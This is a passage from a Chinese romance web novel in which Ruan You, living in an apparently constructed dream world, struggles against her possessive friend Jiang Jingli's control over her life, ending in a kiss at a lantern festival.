女生翻了个白眼,抬手揪他耳朵,“你这个笨蛋!你知不知道江净理护她多紧,还敢当人家面调戏她!” “疼疼疼——” 男生止不住求饶,只当她在吃醋,“好了好了,我再也不敢了!” 女生冷笑,“这句话说给他听吧,我的话可不作数。”- 阮柚觉得自己今天是有些水逆的。因为刚上山没多久,她便不小心崴到了脚,疼的眼泪汪汪。 她走路不经常看路,因此不仅没有捡到过钱,也经常会被什么东西绊倒。 夏夜,蝉鸣阵阵、绿树成荫。或许穿过瀑布溪流,山风格外凉爽,沁透鼻间有种安抚的舒适感。 阮柚靠在江净理背上,听见周围人在起哄。她抿抿唇,想要下来,却怎么也使不上劲。 因为江净理不让。他对某种事物有时有种异样的坚持,除非他自己想,没有人会动摇他的想法。因此即使他被打趣背的人是他养的“小媳妇”,也面色淡淡,仿佛说的人不是自己。 阮柚却是和他相反,她脸皮薄,尤其在面对这么多不怎么熟悉的人面前,耳根红的发烫。 她试图辩解,说出来缘由不让他们误会。可回应她的却是一片意味深长的笑。 过后,江净理告诉她,“不用管别人怎么想。” “可他们误会了我们的关系。” 阮柚小声辩解。 酱净理默了下,道,“这只是一时的。” 阮柚听见了,似懂非懂。她低了低脑袋,恰好闻见从他脖颈散出的气息,薄淡干净,一如他愈发清冷的气质。 和从前有了细微的变化。 她想,开始正视起江净理的成长。很久前,在看到江净理父亲时,她还在担心江净理会变成第二个江父,而今——— 阮柚眼神软了下来,江净理还是那个他。 那个有血有肉,无论何时,都会成为她共犯的江净理。 正想着,一道声音兀自打断她的思绪, “在闻什么?” 江净理问。 阮柚如梦初醒,下意识道,“闻你。” “你身上很香呀。” 她补充。 江净理半晌没回答,藏在头发里的耳廓却寸寸攀红。他走到了湖边,让阮柚坐在准备好的软凳,转身拿来了钓鱼工具。 两人临时起意,决定要钓鱼。 他们刚好都是很有耐心的性子,所以钓鱼再适合他们不过,尤其在阮柚崴脚的情况下。 江净理给她擦了药,接着给她穿好鞋。 阮柚的鞋子是她喜欢的灰蓝,很合适,衬得腿愈发的白透。 阮柚爱跑,却怎么也晒不黑,反倒一不出门,就贵捂的极白。 和江净理站在一起,两人白的像反光板,一看就融不进第三人。 这也是别人没找过来的原因。 江净理今天穿了件基础款黑T,衣服松松垮垮地,却很显气质,阮柚觉得很大程度归功于他的脸和身材。 此刻,他头戴黑色鸭舌帽,手里握着钓鱼杆,满身写着守株待兔。 阮柚忍不住笑,看来看去,觉得他这幅山间隐士的模样和他本人真的出入太大了。 “我们打个赌吧,看谁先钓上来。” 见他望过来,阮柚清清嗓子,模样很认真。 “赌什么。” 江净理问她。 “还没想好。” “那如果我赢了,我要吃你亲手做的甜品。”他掀了掀眼皮,语气很平静。 “可以呀。” 原来她做的甜品这么好吃呀。 阮柚很开心地答应了。 “我没想好,所以如果我赢了,就先欠着。” 她说。 “嗯。” 江净理看她一眼,喉结轻滚了下,“要什么都可以。” 阮柚却专注于湖面。 他说的太轻,她没能听进去。夏风潮热翻涌湖面,窸窣回荡过青纹。 阮柚听着蝉鸣,遥遥看了眼森绿的树林,心里丝毫没有不耐,反倒生出惬意之感。 她喜欢这一刻,甚至希望能够这一刻再长久一些。 江净理看她被风吹乱的头发,眼神覆上温色。 须臾见,眼前钓竿动了动,阮柚心头一紧,眼睛也亮了亮,眼疾手快收杆。 可鱼并没有想象中的听话,在手间折腾许久后,阮柚看了眼在桶里游泳的鱼,舒长气同时,也郁闷地甩了甩湿漉的发梢。 被毫无征兆溅了一身的水,属实有点狼狈,阮柚再度觉得自己水逆,尤其是江净理看着她笑,这种感觉达到了顶峰。 也许她也该去庙里祈福。 她想。 “你赢了。” 江净理站起了身,看她,却又没再走近。 “对哦。”这句话提醒她了。 她赢了,所以,所以江净理吃不到她做的甜品了! 呜,她更难过了! 思及此处,她很幽怨地皱了下眉头,忍不住道,“江净理,你不准笑我。” 她刚刚分明看见他在嘲笑她! 可再度望去时,恰见对方在用一种很奇怪的眼神看自己,四目交接,却迅速移开。 “…” 阮柚歪了下头,内心升起疑惑,叫他名字。 “怎么了?” 江净理却是第一次,对她置若罔闻。 他转过了身,从脚边工具包捞了一件他的外套。没等阮柚来得及反应,就隔空丢在了她的头顶。 “没穿过的。” 他嗓音清磁,没什么情绪。 阮柚视野登是一暗。 被对方这么“突然袭击”,她也有自己的小脾气,从衣服扒拉出来正欲质问他之际,一道清风恰好吹过,她瑟缩一下脖颈,忽的,什么都明白了。 她颤了颤睫毛,而后迟钝的发觉,自己上衣不知何时已湿透了大半。夏天衣料本就薄,如今洇湿衣衫,皮肤几乎隐约可见,更不用说里面的内衣颜色。 阮柚飞速穿上了外套,越想明白就越是尴尬,但面上却又丝毫不显,只仓促道了声谢谢。 努力把这件事带过去。 她盯着桶里的小鱼看,试图甩去尴尬。 吃是不可能吃的,但她不久前刚在路边捡了一只小猫,恰好可以把这条鱼养在鱼缸,给猫猫做个“海景房”。 阮柚的强装淡定,实则早就被红的滴血的面颊所出卖。 江净理佯装不见,兀自走近,给她拿皮筋扎起头发。他的动作熟稔娴熟,力度时刻把握分寸,并不存在冒犯意味。 阮柚不知道他哪里变出来的黑皮筋,只觉得此刻,对方蹲在身后,她浑然生出几分不自然。 后颈处仿佛也凉凉的,拂过细痒,不知是不是被风吹的缘故。 阮柚下意识低头。 “别动。” 江净理声音很轻,替她扎好了头发,见她整个人崩得像只刺猬,笑,“阮柚,我什么都没看见。” “真的。” 他补了句,怕她不信。 阮柚飞速应答:“我没说那件事。” 又提。 唔。 过去的事就让他过去吧。 阮柚下巴往略显宽大的外套里藏了藏,此时此刻,她宁愿当一只路边的蘑菇。这样,她就可以什么都不用想,什么都不用说。 第64章 第六十四章 真相篇|江 【你有永远的朋友吗?】 阮柚手指一顿, 犹豫点进了这则类似漂流瓶性质的匿名树洞。 她回了个嗯。 半晌,她收到了对面陌生人的回复,“你很幸运。” “谢谢, 希望我们都一样幸运。”- 发送在刚刚 * 江净理拥有常人难以企及的天赋,以近乎满绩的成绩从最高的学府毕业后,很快踏入政界, 成了名副其实的政坛新星。 以上是阮柚从报纸上面瞥见的只言片语。时间在她身上流走的很慢, 可在不知觉间,她发觉, 周围人已经有了令人敬佩的变化。 只有她停留原地。 她在心中叹了口气,掀开了窗帘一角。阳光流泄,窗外繁花烂漫,盛满生机盎然。 阮柚一时失神, 忍不住迷茫起来。 这几年,她仿佛一直在原地打转。也许就和别人说的那样, 温室待久了, 永远不知道外面的世界是什么样子的。 她总感觉这不是她想要的。 庄园新来了位家庭教师, 见多识广, 擅于解答她的各种问题。阮柚喜欢听他讲那些未知的知识道理, 因而从最初的不习惯,变成每天提前盼着他的到来。 直到有天,对方放下了笔, 问她, “阮小姐, 你想过到外面的世界看看吗?” “外面的世界?” 她抬眸,疑惑眨了下眼睛。 “嗯。” 对方微笑了一下,看出她的迷茫, 问,“从来没有想过这个问题么?” 阮柚知道对方说的“外面的世界”意义远比其表面更深远。实际上,她许多次走出庄园高塔,游览风光,但最后… 她总会再次回到了这里。 她从未真正想过这个问题。 安静间,阮柚目光无意定格在书册上壮阔的星象,罕见陷入沉默。 她有太多美丽的事物没有去发掘。 阮柚开始思考这个问题。还未真正想出清晰全貌,迎接她的是另一件事。 家庭教师离开了。 得知这个消息,她不舍又难过。 可江净理却异常坚持,坚称家庭教师并没有尽到应该尽的义务。 “他要把你教坏了,阮柚。” “他没有,他是我遇到过最好的老师。” 第一次,阮柚甩开了江净理的手。 江净理立在原地,看着阮柚跑下别人的身影。 连轴转的疲惫令他很难再去克制,不加留神,滋长的阴暗就会将他彻底吞没。 最好的。 他咀嚼这两个字。像刀锋骤然划过皮肤,绽开黏腻鲜血,江净理拨转扳指,想起刚刚被甩来的手,腾起近乎抽离状态的疑惑。 他被她讨厌了么。 为了一个不值一提的人? “阮小姐。” “有缘我们会再见的。” 家教依旧笑地温文尔雅,将手中的钢笔送给了她后,余光微微扫了眼身后的人,“有时,我们要尝试倾听内心的声音。” 他在最后留下了这样一句话。 无法挽留,阮柚内心只剩下了难过。 直到背影消失那刻,她却忽然明白了这句话的真正含义。 去倾听内心的声音。 她内心深处最渴望的,其实是自由。 她想让每一天都淋漓鲜活。而非千篇一律,宛若活在温室,连阵风都不会光顾。 江净理声音响起来,就像从梦里走出来那样,很轻,“还会有更好的老师,阮柚。” 他在试图安慰她,可听在她耳朵里,更像是粉饰太平。 阮柚抿唇,看着眼前轮廓分明的人,第一次陌生到想要往后退。 江净理身上有股冷洌、闻之极淡的类似苦艾酒的气息,却异常强势侵占了鼻息,令她有一种近乎咫尺的错觉。 陌生,又无法去忽视。 他再度出声,“你在生我气吗?” 态度像是是一下软了下来。 “江净理,你为什么要这样做?” 阮柚捏了捏拳心,眼里第一次没有任何情绪,“他什么都没有做错。” 话落,空气凝结。 江净理目光闪了闪,却反问:“可他比我重要吗?” 阮柚一哽。 “是你太在意他了,他占用了你太多的时间、精力,却没有真正教给你有用的知识。” “你怎么知道什么是有用的、什么是没用的?” 阮柚不假思索。没有想到对方会是这样的回答,也许江净理根本不知道她为什么生气。 她心情变得很乱,对上他清泠泠的眼睛,有种一拳打进棉花、无处发泄的感觉。 江净理一时未语。 就在她以为对方会就此沉默下去时,他再度开口,“至少在以前,你不会这样看我。” 他眼尾拖着倦,回得话却是模棱两可。 阮柚张了张唇,呼吸微微发凉。 她开始回想,思考,他们之间究竟是谁变了。为什么在听到江净理说出这句话后,她会有种陌生的感觉呢。 “你说过的。” 好半晌,阮柚开口,“我们是朋友,难道不是应该相互尊重吗?” 朋友。 江净理意味不明笑了下。 又是这个词,清晰划分了边界。 人终究是贪心的。 贪求更多,是一种本能。 “如果做不成朋友呢。” “什么?” 阮柚一怔。 对方说的很轻,她没能够捕捉不到完整的字句。 江净理垂下了眸,没再继续这个话题。 — 【你们吵架了么?】 “嗯。” 阮柚回了这个字,忍不住敲下一段文字,“我不喜欢他这样。” 没过多久,匿名回复再度出现。 【他也许用错了方式,但不是他插手你生活的理由。】 阮柚垂了垂眸,手指停在了屏幕。 “你说的对。” 窗外是磅礴大雨,空气如同她的心情潮湿了起来。 她其实一直想要出去读书的。 可是钱攒够了,设限的却是从未想过的人。彼时,少年放下手中的书,不假思索,“嗯,不需要。” 她一怔,问为什么。 他一笑,“因为我会为你请来最好的老师。” “可是我想出去看看。” 她不甘心。 “外面很危险的,阮柚。” 江净理起身走到她面前,“我不能保证会一直在你身边。” “我自己也可以。” 阮柚仍不死心,在思考后,甚至开始疑惑,“你不需要一直在我身边。” 每个人都有各自的生活。 “可是。”江净理顿了下,“是我离不开你,阮柚。” 想法随着那段谈话而告一段落。 可如今又不受控疯长了起来。 此时此刻,她实质感受到了那股渴望。恰如她经常做的梦。梦里有人一遍遍告诉她,她的愿望是做一只飞鸟,一次次飞越高塔,冲向遥远云端。 这同她的心境完美重叠。 那件事过后,江净理的确为她请来了一名新的家教。据佣人们私下谈论,那是一位真正出生书香世家的淑女,才华卓越,温柔善良。 “她和你笑起来很像。”有人这么告诉她。 阮柚没办法对这样美好的人生出半分恶意,即使她仍因上一位家教的离开而愧疚着。但她仍然无法做到去遗忘,即使那天以后,江净理像是全然忘了之前的争吵,同她道早安。 她有时是个格外坚持的人。 因为在意,所以失望来的这么真切。 只是她从没想过,最先察觉她想法、并为她递来橄榄枝的人,是江净理的母亲。这些日子她很少见到她了,印象里最后一次见面,还是在去年江净理生日的时候。 “我可以为你写一封推荐信。”对方开门见山。 阮柚心脏砰砰跳了起来,喉咙发紧,“夫人,您为什么——” 话音未落,江母笑了笑,一如当初的温婉,只是眼底多了份倦,“如果非要说一个原因,也许是因为你是个好孩子。” 值得去更广阔的天地。 阮柚踏出那扇门后,有种不真实的轻快感。她从没有想过,自己真的能够拥有这个机会。 她努力平复这份喜悦,却在不久后,遇到了步履匆匆的女仆长。 对上视线后,对方牢牢拉住她的手腕。 一股紧绷的痛感接踵而至,来不及阮柚皱眉反应,人已经被拉着走了起来。 “怎么了?”她有种不太好的预感。 “快跟我来,少爷他昏倒了。” 闻言,阮柚喉咙一哽,似是被什么东西堵住。 江净理生病了,额头很烫,因为连轴转的工作量,陷入昏迷状态。 助理一脸凝重:“他一直想把每件事做的完美。” 阮柚低头。 床上躺着的人面容苍白,流露出一丝她从来没见过在他身上的脆弱。 这令她内心升起了愧疚。 毕竟—— 昨天晚上,明知道他就在门外,她仍选择了安静装睡。 阮柚守在了床边。 也许是上天听见了她的祷告,没多久,江净理醒来了。 她心中一松,可手腕却被她紧紧箍住,动弹不得。 江净理抓着她不放手。 “怎么了。” 阮柚一惊,几秒过才找回自己的声音,“是有话想对我说吗?” 江净理却恍若未闻,一双漆黑眼睛尤其专注,像是钉在她身上,灼烧过肌肤。 旁人发觉异样,想走近询问。 接着,江净理却先松了几道,掀起了眼。 他问,“对不起,我弄疼你了么?” 阮柚摇头。 她更多的,是无法去忽视刚才对方的眼神。对她而言过于灼热了。 “我做了一个不好的梦。”江净理笑起来有些病态,“梦见你走了,我很害怕。” 听见这句话,阮柚呼吸一滞,心下沉了起来。 这一刻,她忽然不敢抬头看他的眼睛。 江净理生病这几天,阮柚一直在陪着她。两人关系顺其自然地破冰了。 即使阮柚明白,有些问题不去正视,裂痕不会自动消失。但她还是希望竭尽自己所能,让江净理能够快点好起来。 毕竟,他们可是朋友啊。 江净理住院期间,阮柚遇见了形形色色的人,却对一双深灰色的眼睛印象深刻。原因她也说不出来,那是一种天然想要亲近的情绪。 当然,阮柚也没有忘记和江母约定的时间。 约定的日期渐渐逼近时,她的内心开始焦灼了起来,她很难对江净理去说谎,更别说去努力隐瞒着什么 可她心里明白,自己不得不这么做。 一想到最初他望向自己的目光,阮柚便坚定几分,如果让江净理知道,她一定是没有办法走的。 更何况,她不擅长道别。 生病休养的江净理有些不太像原本的他,原本清冷的性子彻底软了下来,变得比以往更加黏人。 第一次说出这两个字时,连阮柚自己都愣了。 黏人这两个字怎么会和他联系到一起呢? 江净理则像没事人,坦然轻笑了一声,“是我离不开你,阮柚。” 阮柚动作一滞,就这么安静看过去。 “你让我不再孤独。” 他这么对她说,眼神很深,就像望进了她的心里。 这句话她听他讲了许多次。 而唯独这次,过了许久,她依然没有忘记。 第65章 第六十五章 江篇 — 阮柚最近变得很健忘。 刚开始是丢三落四, 她以为是失眠没睡好的缘故,尝试去调整作息后,却开始了嗜睡。 随着睡觉时间变长, 甚至开始分不清梦境和现实。支离破碎的意识里,一道道声音在耳畔重叠,或熟悉或陌生。 她分不清是谁, 唯一确定的是, 他们都是在对自己说话。 只是阮柚不明白自己为什么回应不了。 直到一道声音准确无误越了过来。 敲动心房。 “抓住我。” 她闻言,就这样抓住了。 再睁开眼, 便是江净理的眼睛。 他的睫毛很长,盖住的眼瞳让她想起阳光照过的琉璃,清透却深邃。 让她想到猫科动物的眼睛。 直勾勾地,情绪却全藏了起来。 阮柚只能感受到他冰凉凉的手温, 触感将她拉回到了现实生活。 江净理正站在床边,握着她的手。 他很安静, 仍在注视着她, 迟迟没有开口。 最终还是阮柚问, “我睡了很久吗?” 坐来时, 她的头发乱糟糟的, 思绪却不再那么混沌,在回笼。 江净理却握紧了她。 不久,他回了声, “嗯。” 阮柚有些不好意思。 她从前是个从不赖床的人, 如今她起的比江净理还要迟, 很少再看见清晨沾满露珠的蔷薇了。 她垂了垂眼,又开始感到莫名的遗憾。 思绪飘远时,江净理的声音将她拉了回来, “做了什么梦?” 阮柚想了想,道,“想不起来了。” 她的梦境光怪陆离,像是江净理曾经画过的油画。阮柚很难去描述,只知道自己醒来后,胸口变得沉甸甸地。 她好像忘记了什么。 江净理于是不再多问。 现在的他忽然有很多时间,却唯独少了和阮柚相处的时间。 江净理:“想不起来就不要再想了。” “哦。” 阮柚唔了声,觉得江净理说的很对,与其落入不真实的梦魇窠臼,还不如迎接新的一天呢。 可在这时,她忽然发现。 墙上的指针指向了下午三点。 她睡了很久,久到自己都没发现。 * “医生都说没什么事了。” 阮柚趴在桌子上,目光灼灼地看着江净理,他五官本就偏冷,如今沉着脸不说话,让她不禁想到他小时候。 那种骨子里矜贵傲慢的疏离感。 很遥远。 江净理正在翻书,医学他仅停在略有涉猎的程度,他从前无甚兴趣,现在却在后悔没有过深耕。 是啊。 都说没什么事。 可是为什么,我们相处时间变短了呢? 为什么每每看你,都是闭着眼睛,喊着别人的名字呢。江净理继续翻阅,即使听见她的话,却仍没有办法去看她。 他怕眼底浓郁的破坏欲会吓到她。 很久以前,他便知道,要和不要,对自己而言意味着什么。如果他要,他就会紧紧攥在手里,不留一丝空气缝隙。 他坚信着,直到今天意识到,时间也会偷走她。 这意味失控。 阮柚见他不语,也没再坚持,将注意力放在了桌边缓慢流转的沙漏。 江净理的书房装潢至简,透着冷冷清清的气质,唯独桌边的沙漏,彩色的流沙坠落,织成了细细的彩虹。 “喜欢的话就送给你。” 江净理问。 他不知道从什么时候起开始看她,无声无息地,所以阮柚并没有发觉。 阮柚一怔,“不要。” 如果她没有记错,这是江净理母亲送给他的生日礼物。她能感觉出虽然表面不说,他还是很在意她的母亲的。 阮柚相信亲情的美好。 虽然从有记忆开始,她几乎没有感受到亲情。从前他们都告诉她,她的亲人们去了很遥远的地方。但在渐渐长大,她才彻底明白过来,这是为她编造的善意童话。 江净理说,“可我觉得你很喜欢。” “我的确很喜欢。” 阮柚不愿说谎,眼睛清亮亮地,“但喜欢不代表想要,更何况这是夫人给你的礼物。” 要好好珍惜。 江净理一顿,眼底划过一丝不解。 但很快,他点了点头,弯唇,“原来是这样。” “那我亲自送给你,好么?” 头发被揉乱了,阮柚心底有点抓狂,见他在笑更觉得一拳砸在棉花上,连自己的生气都软绵绵地,“我说过了,不要揉我头发。” 刚梳好的头发呢! “对不起。” 江净理道歉来的很快,“可你这样……” 他点到为止,没把接下来的话说完。 阮柚生起气来,脸颊连带耳尖都泛起了红色,愈发灵动鲜活。 可爱。 他兀自想,唇弯了起来。 “我帮你梳头发好不好?” “不要!”阮柚果断拒绝。 除了自己,她只要女孩子梳头发。 江净理只会把她的头发搞得更乱! 钢笔即将滚落在地面,阮柚眼疾手快地抓住,却无意间看到了桌角摊开的信件。 那里有晓愿的名字。 她好像很久没有收到他的来信了。 阮柚珍惜每一位朋友,同时也能心思敏感的察觉每一段关系的渐行渐远。 从什么时候起,她生活里朋友越来越少了呢。 阮柚手上整理发丝,心底却感到后知后觉的茫然。 “他让我为他写一封推荐信。” 江净理自顾自说,“对我来说,只是顺手的事情。” 阮柚眼瞳微闪,将目光收了回来。 她想去追问,但是转念又觉得没必要,最后话到嘴边只好说了句,“谢谢。” 她意图将话题囫囵过去,视线飘向摊在桌上的书,密密麻麻都是钢笔做的笔记。 可这时,她再度听见江净理问,“为什么要替他感谢?” 阮柚抬头,对上他的眼睛。 “什么。” 江净理垂眼,笑容浅了些。 “我是说。” 他略略停顿,走上前弯身轻视她。距离一下子变得逼仄,阮柚下意识后退,腰身却不知觉顶在了椅背。 江净理头发长了些,更深邃,透出几分凌厉的漂亮,一份让阮柚感到陌生的冲击感。 她张了张唇,想问,却听他说,“你们关系很好吗?” 这一问刚好踩在她的点上。 阮柚其实不想承认和朋友渐行渐远。 她其实也想收到他的来信,无论分享什么,至少意味相隔千里,两人也有一份羁绊。 “我们是朋友。” 阮柚深吸了一口气,多久了?快一年了吧,写去的信都石沉大海。 是有了新朋友了,不想理自己了么。 想到这里,她神色黯淡了些,低声补了句,“以前是很好的。” “阮柚。” 江净理轻轻叫她,他第一次声音放的这么轻,有种从未见过的认真,“我们才是朋友,不是吗?” 阮柚抬头,听见对方循循善诱,声线清冷似蛊惑,“你不需要其他的朋友,有我就够了。” “我会比任何人都珍惜我们的,嗯,友情。” 他一顿,捺下眼底异色,不疾不徐说了下去。 将平铺直叙说成的纯粹真诚。 江净理眼睛漆黑,干干净净,完完全全装着她。他好像知道她软肋在哪里,无论何时,她都无法直视这样真挚的一双眼睛,无法拒绝别人朝自己伸过来的那一只手。 即使后来,知道他会蛊惑她,引/诱她,拽住她的手至死方休,她都无法在此时此刻拒绝。 “好。” 阮柚点头,听见自己说。 — 阮柚觉得自己上辈子可能是某种会冬眠的动物。 不然怎么会这么想要睡觉。 窗外白雪皑皑,地面留下人行走过的足迹。阮柚很想出去,但又只能呆在屋里。 她再度陷入了混沌的梦。 梦里,似乎有道声音,想要挣脱束缚告诉她,该醒来了,一切都该结束了。 而有道声音异常清晰,“你不是已经感受过,想要的自由了吗?” 不。 她并没有。 阮柚听见自己回应。 —“那你开心吗?” 那道声音再度问起。 开心。 又有种说不出来的遗憾。她是不是太贪心了,所以感受到的快乐,都是稍纵即逝的。 “才不是。” “你本就该是最幸福的人。” 这次,她终于听清了那道声音。 穿透了不真实的层层迷雾,闪烁着重叠,她看到了一闪而过的画面。 周围仪器遍布,躺在病床上的人和她拥有相同的面容。 苍白沉睡,分不清日夜。 一只手正紧紧握住了她,某一瞬间,她忽然感受到一种心灵相通的酸涩感。 对方应该是在伤心。 “哥哥。” 她心头跟着一酸,下意识说。 由此。梦境和现实开始收束,她望见一双双陌生又熟悉的眼睛,最后,她终于睁开了眼睛。 意识收拢,阮柚心跳不止。 是江净理。 他站在床边,正用纸巾替她擦眼泪。 所处的地方是一间干净整洁的病房,白色的天花板和梦境几乎相差无几,这让她思绪愈发混沌。她听见自己的呼吸声,很重,伴随阵阵心跳,却仍让她有几丝不真实感。 “别哭了。” 江净理说。 阮柚没说话,细细打量周围。 江净理说:“医生说你可能是应激反应留下的后遗症,可我想不出是什么时候。” “所以我想……阮柚?” 江净理一滞,见她心不在焉,问,“你在找什么?” 闻言,阮柚终于回过神。 没什么。 但是—— 她低头,很轻地将心里话说了出来,“我总觉得,我忘记了很重要的人。” 江净理看着她,半天没有答话。 他当然听见了她睡梦中说的话。一位重要到,让她做梦梦到都会流泪的人。 “是谁呢。” 他问,平静到听不出情绪。 第66章 第六十六章 真相篇|江篇 注视。宛若细密结成的蛛网, 只剩径自缠绕的影。 日光折过,无处逃脱。 * 清晨。 江净理将百合插/进了花瓶。他有一双很好看的手,经络分明, 漂亮的青筋延藏进袖口,好似一副昂贵的画作。 一尘不染。 高不可攀。 这是旁人对他的印象。时间彻底洗去他的青涩,打磨出独属有的棱角, 人们轻易不敢靠近, 却又无限、热诚地追捧现在的他。 唯有阮柚不一样。 她更喜欢曾经的江净理。 阮柚在一个很平凡的早晨,突然想起了一切。记忆来得毫无征兆, 等当她感受到脸上湿湿凉凉的温度时,阮柚看了眼窗外澄净日光,缓慢眨了眨眼。 她心想:哦,原来自己其实不属于这里。 她还是阮柚。 只不过, 并不是现在这个阮柚。 体验开始之前,病痛缠身、荒凉度日的她躺在病床上, 模糊听见哥哥在温柔安慰她:“这是特意为你打造的美好世界, 你将会在这个世界体验到属于自己的友情。” 这是孤独的她最渴望体验的情感之一。 友情。 体验过人间冷暖, 才会有抗衡一切的勇气。 阮柚和江净理之间, 只是友情。 想起一切后, 她擦干眼泪,思绪却如藤蔓疯长。 她是不是该离开了。 怎样好好去道别呢? 闲暇时候,阮柚叠了很多千纸鹤, 来装点房间里单调的玻璃窗。 五颜六色, 鲜活至极。 她很感谢自己能够来到这个世界, 能够拥有健康的体魄,温馨和谐的生活氛围,还有了这么多快乐的记忆。 越回忆越快乐。 敲门声响起。 轻点三下, 对方很默契地等待。 她猜到是谁,站起来,趿上拖鞋去开门。 推开门,是几日未见的江净理。对方穿了件水蓝色毛衣,罕见的休闲装束,衬得皮肤白皙,头发修剪,露出的眉眼清冷漂亮。 目光交接,有如触电。 阮柚颤颤睫毛,心口划过几分陌生的情绪。 她想起来了。 前几天,他们好像闹的并不愉快。 但她这几天浑浑噩噩,如今想不起究竟是因为什么,只依稀记起在书房,她看到江净理压在书本下未拆封的大学推荐信,收件人是她。 “我没有变。” 彼时,被发现的江净理神色不变,自顾自说,“如果你想学知识,我会给你请最好的老师。” 阮柚有些失望:“可这不一样。” “哪里不一样?” 他反问。阳光下,眼瞳像洗净过的玻璃球,澄净至极,“你不是说过,我们要一直在一起吗?” 语气稍柔下来。淡淡勾过,像在蛊惑。 江净理很擅长用示弱的方式博取同情,尤其是对于阮柚,他藏住所有卑劣的、阴郁的、掠夺的情感,几近病态地渴望她的注视。 可这次,没有。 阮柚只是摇了摇头,组织语言: “这不对,江净理,我想要自由自在的生活…我的生活不应该只有你。” 她不知道该怎么说。 可她望着他的眼睛,不知觉地,怎么也说不下去了。 她觉得他不会听的。 她还是更喜欢曾经的江净理。 以前的他,不会这样看着她。 他的眼里像聚着浓稠的墨,无声无息,欲将她淹没。 她越来越看不懂他。 本能反应,阮柚后退了一步。 他却上前一步,伸手拉住了她。 书房里,墨香清浅。 四周静谧无声,只有阳光游离穿梭,拉长了重叠的影子。 两人距离很近。 江净理抱住她,一只手臂环过她肩膀,另一只手则揽过她的腰肢,清清浅浅的呼吸落在她耳畔,她整个人原地僵住,听他很低的声音,“可我只有你了,阮柚。” 他眨了眨眼睛,道,“那些想抢走你的人。”本就该消失才对啊。 阮柚听见了他说的最后那句话,带着很低的叹息声。 仿佛第一次、真切触及到了到他的另一面。阮柚胸口一沉,不知哪来的勇气,猛的推开了他。 呼吸在混乱。 触及黑暗,本能想要逃开。 她跑开了,几乎丢盔卸甲。 而现在再见江净理,他像完全没受到之前记忆影响,门外,他对她笑容清浅。 “晚上一起去看烟花,好吗?” 他问,眼睛似藏星星,专注至极。 和先前极具侵/略的那一面,判若两人。 阮柚不禁恍惚,心头却蔓延一股未知的闷涩。她有种感觉,他们相处时间,在正式步入倒计时。 她很容易心软,如今也自然没有拒绝的理由。她想,他们是最好的朋友,过去是,未来是,现在也是。友情,就是互相理解、互相退让、互相陪伴。 江净理为她准备了衣服。 阮柚穿上像森林里的精灵,灵动又漂亮。见过的佣人都在连连称赞,视线左右徘徊,心想两人看起来真般配。只是想法都放在心里,谁都没敢当着江净理面当面八卦。 阮柚拨过喷泉,清洌触感沁过指尖时,硬币坠落的声音接踵而至。传说在这投入硬币许愿,所有愿望都会实现。 阮柚许完愿,睁眼便是江净理。 夕阳下,他的眼睛干干净净。 就像清泉。 她忍不住笑,“江净理,你干嘛一直看我呀?”阮柚笑起来,眼睛会不自觉弯起,变成小月牙的形状。她有天然让人喜欢的亲和力,也并不知道,如今这一幕落对方眼里,无论过去多少年,想起仍会心跳不止。 江净理眼皮轻掀:“在猜你许了什么愿。” “你很想知道?”她问。 他点头,却认真地说,“你可以不告诉我。” “可是我想告诉你。” 阮柚翘起了唇,双手合十,很慢很悠扬,“希望江净理能够一直平安健康,幸福快乐。”声音清泠泠,宛若银铃撞击。 这是她渴望拥有的。 现在,她擅自主张赠予给他。她在他身上,看到和曾经的自己一样的孤独。 她良久没有等来江净理的回话。 江净理在失神,黄昏暮色染红他的脸庞。晚风斜斜荡过,一瞬,她下意识眨了眨眼。她眼花了,竟从染红夕阳下,仿佛看见他红了眼,深藏在灵魂里的脆弱在呼之欲出。 灯火通明。 路上熙熙攘攘,挂满了数不清的琉璃灯。 一年一度罕有的盛景。江净理知道她爱热闹,自然不会错过。因此提前处理好了繁重业务,过来陪她。 他偏头,眼珠跟着她转,完全映着她。 他给她买了个漂亮面具。阮柚很喜欢,从始至终一直戴着。像漂亮的麋鹿游荡在人群,他胸口发烫,只能看见她。 “牵住我吧,这样就不会走丢了。” 他伸出手。 人很多。阮柚嗯了声,拉住了他的手。 江净理曲起手指,一截指节勾起她腕上的红绳,这是他给她买的礼物。 “不过我不会走丢的。” 阮柚想了想,还是说,“我认识路。”这段路她一个人走过很多次了。 江净理握紧她,“我怕你遇到坏人。” “好吧。”阮柚没纠结这个话题,目光很快就被远处漂亮的灯塔吸引,“你看那里,好漂亮啊。” “江净理,我以为我看错了,居然真的是你。” 一道男声响了起来。 江净理回头,礼貌又有距离地点头。 阮柚循声,是个生面孔。 而对方眼底闪过一丝意外,他还是第一次见江净理和女生这么近呢,想来想去没想出答案,索性问,“你女朋友?” 被误会了,阮柚如梦初醒。 她下意识抽开了手。 觉察到这个动作,江净理眼神一暗。 声线冷冷地,“私生活,无可奉告。” 男人一听,不太死心地追问,“哎!什么无可奉告啊,怎么说我妹妹喜欢你好几年,也算你的迷妹,是不是女朋友给个交代嘛。” 他还想再说,却莫名被看的一滞。 江净理不说话,明明正人君子的清冷模样,周身却总有股说不出的戾气,藏的很深,无法忽视的矛盾感。 “不是,千万不要误会。” 阮柚找准机会辩解,可话快说完了,忽地被身边的江净理打断了,“是。” 无视对面男人的惊讶,江净理喉结微动,重新拉住了她,“走吧。” 阮柚视线犹疑,张了张唇。 嗯,刚才是不是听错了? 他说了是? 出于巨大的疑惑,阮柚走着走着,不确定地问,“你刚刚说话了,是吗?” 她很认真。 江净理薄唇轻珉,不置可否。 阮柚亦步亦趋,想着想着,难免着急,“江净理,你不能让别人误会啊。”她知道江净理可能是嫌解释麻烦,可她深知什么叫众口铄金,人言可畏。还是把事情说清楚好了。 于是,她脚步停了下来。 回了回头,想回去解释,手却怎么也甩不开。 她蹙眉,看过去。 对方紧握住她,缠在手上,越挣扎覆的越紧。 阮柚心头一紧,疑惑抬头看向他。 江净理静静站在面前,下巴紧绷,不知想什么。 四目交接。 她看见他眼里的她。 都没说话,仿佛世界也在放慢脚步。 直到—— 江净理:“如果我想把误会变成现实呢。” “什么?” 阮柚怔愣一下。 恰逢头顶烟花绽放,话语听的支离破碎。却在转瞬间,她能够拼凑出大概信息。 她下意识以为是虚假的。 阮柚很慢地笑了下,“开什么玩…” 须臾过后,她唇间一凉。 江净理径自堵住她剩下的话。 所有压抑的、闷涩的、隐忍的、强烈的情绪酝酿破土,在漫天烟花落幕前,灼热攀至顶峰。 细密呼吸落在鼻息,阮柚腰肢被轻易桎梏,被迫仰起头,唇齿长驱直入,掠/夺极致,如焰火,尽数吞噬理智。 少女腕间的红绳落他指尖。 